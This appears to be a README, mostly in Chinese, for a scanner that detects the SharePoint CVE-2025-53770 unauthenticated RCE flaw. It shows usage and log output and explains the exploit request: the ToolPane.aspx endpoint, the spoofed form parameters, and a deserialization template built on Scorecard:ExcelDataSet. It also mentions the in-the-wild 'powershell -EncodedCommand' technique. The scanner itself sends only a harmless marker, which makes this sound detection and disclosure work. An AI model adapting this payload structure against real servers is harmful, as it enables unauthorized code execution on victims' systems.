
Scanner for the SharePoint CVE-2025-53770 RCE zero day vulnerability (fork from hazcod/CVE-2025-53770)
这是一个针对SharePoint未认证远程代码执行漏洞的扫描器,其CVE编号为CVE-2025-53770。 该代码是通过对野外中发现的payload进行反向工程编写的。
请自行承担使用风险,对于可能造成的任何负面影响,本人概不负责。
它试图通过向SharePoint ToolBox小部件注入一个标记来利用该漏洞。 如果在SharePoint服务器响应中发现这个无害标记,则将该主机标记为易受攻击。
# check if <TARGET-HOSTNAME> is vulnerable and try extract version information
% ./CVE-2025-53770 [<TARGET-HOSTNAME> ...]
INFO[0000] set log level fields.level=info
INFO[0000] starting scanner targets=1
INFO[0001] detected SharePoint version target=<REDACTED> version="MicrosoftSharePointTeamServices: 16.0.0.5469\n"
WARN[0001] target is vulnerable target=<REDACTED>
# turn on debug logging and try retrieving SharePoint version information
% ./CVE-2025-53770 -log=debug -version <TARGET-HOSTNAME>
...
任何运行未安装KB5002768和KB5002754的本地部署版本SharePoint服务器的用户。
该漏洞可能基于先前披露的SharePoint漏洞CVE-2025-49706。
通过向https://<TARGET>/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx发送带有GZIP压缩和BASE64编码的payload的HTTP POST请求,攻击者可以以SharePoint运行时进程的身份实现远程代码执行。
此处有两个重要的表单参数:
MSOTlPn_Uri: 控制源路径这假装引用一个合法的SharePoint控件(AclEditor.ascx),并欺骗SharePoint允许Web部件编辑。
这似乎只是一个用于通过验证的模拟/虚假值。
原始恶意payload包含MSOTlPn_Uri=https://<TARGET>%s/_controltemplates/15/AclEditor.ascx,但目前看来并未使用。
MSOTlPn_DWP: Web部分配置此参数注入自定义ASP.NET指令(<%@ Register %>)和服务器端标记(<Scorecard:ExcelDataSet>)。
CompressedDataTable参数包含攻击者控制的序列化数据(GZIP + base64),从而触发RCE。
此payload遵循特定结构:
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="<PAYLOAD-GZIPPED-BASE64-ENCODED>" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>
如果存在像Scorecard:ExcelDataSet这样的控件并且设置了其CompressedDataTable属性,则SharePoint DWP解析器会直接反序列化它。
payload本身相当有趣,因为它可以包含一个System.DelegateSerializationHolder,从而触发反序列化RCE。
威胁行为者滥用此特性,在payload中传递/c powershell -EncodedCommand <POWERSHELL-PAYLOAD>以实现代码执行。
在我们的案例中,我们仅传递一个静态占位符以证明可攻击性;
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<foo>
<bar diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
<poc xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<TestWrapper>
<Info>This is a harmless CVE-2025-53770 PoC marker.</Info>
<Timestamp>2025-07-21T14:04:52Z</Timestamp>
</TestWrapper>
</poc>
</bar>
</foo>
</diffgr:diffgram>